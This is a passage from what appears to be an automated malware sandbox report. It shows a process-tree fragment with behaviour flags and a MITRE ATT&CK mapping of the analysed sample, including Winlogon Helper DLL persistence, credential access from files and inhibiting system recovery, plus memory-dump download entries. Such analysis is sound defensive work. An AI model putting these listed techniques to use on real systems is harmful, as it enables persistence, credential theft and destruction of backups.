  2⤵
  - Modifies file permissions
  PID:4752

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1392

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2892

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/580-1-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

Download
memory/580-0-0x00007FFC354A0000-0x00007FFC35E8C000-memory.dmp

Filesize
9.9MB

Download